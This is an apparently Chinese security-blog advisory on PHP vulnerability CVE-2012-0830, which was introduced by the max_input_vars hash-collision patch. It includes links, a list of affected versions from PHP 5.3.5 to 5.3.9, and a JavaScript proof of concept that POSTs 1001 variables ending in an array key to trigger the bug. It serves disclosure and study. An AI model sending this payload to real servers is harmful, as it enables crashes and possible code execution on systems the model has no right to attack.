黑客365

首页 » 系统漏洞 » 阅读文章

PHP任意代码执行漏洞(CVE-2012-0830)

2012-02-04 11:18 10971 0 发表评论

PHP在12月为哈希碰撞拒绝服务(CVE-2011-4885)(http://sebug.net/vuldb/ssvid-30001)提供的补丁引出了另一个严重的安全漏洞。

防止哈希碰撞的补丁在php.ini中引入了新的配置属性:max_input_vars

此配置元素限制用于请求中使用的变量数量(如http://request.com/foo.php?a=1&b=2&c=3),默认设置为1000。

漏洞修补在php_variables.c代码中的php_register_variable_ex函数中作了更改,不过当变量数超过max_input_vars,而变量又是数组变量时(if (*p == ‘['))可触发此漏洞。漏洞可导致任意代码执行。

描述:


BUGTRAQ  ID: 51830
CVE(CAN) ID: CVE-2012-0830

相关链接

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/php_variables.c?view=markup&pathrev=323007

http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

You control the flow of the code such that when the number of input variables exceeds max_input_vars and the last variable is an array, Z_ARRVAL_PP will access data supplied by the request from the previous variable’s value.

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

// Generate 1000 normal keys and one array
function createEvilObj () {
    var evil_obj = {};
    for (var i = 0; i < 1001; i++) {
        evil_obj[i] = 1;
    }
    evil_obj['kill[]‘] = ‘kill’;
    return evil_obj;
}

// Serialize Javascript object into POST data
function serializeObj (obj) {
    var str = [];
    for(var p in obj) {
        str.push(p + “=” + obj[p]);
    }
    return str.join(“&”);
}

// Run attack
function attackSite () {
    var bad = serializeObj(createEvilObj());
    var xhr = new XMLHttpRequest();
    xhr.open(“POST”, location.href, true);
    xhr.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
    xhr.setRequestHeader(‘Content-Length’, bad.length);
    xhr.send(bad);
}

attackSite();

受影响系统:

PHP PHP 5.3.9
PHP PHP 5.3.8
PHP PHP 5.3.7
PHP PHP 5.3.6
PHP PHP 5.3.5

相关影响

1.执行相关程序导致502

2.如果提权修改相关程序,那么给用户的返回结果就可能没办法访问

3 远程攻击者可以利用漏洞以应用服务程序上下文执行任意代码。


收藏此文



评论 共0条 (RSS 2.0) 发表评论

  1. 暂无评论,快抢沙发吧。

发表评论

  • 使用新浪微博登陆
  • 
    疑问 冷笑 悲伤 坏蛋 感叹 微笑 脸红 大笑 吃惊 惊讶 困惑 酷 大声笑 恼火 古怪 转眼睛 给眼色 好主意 箭头 一般 哭了 绿人
  • want to say:

回到页首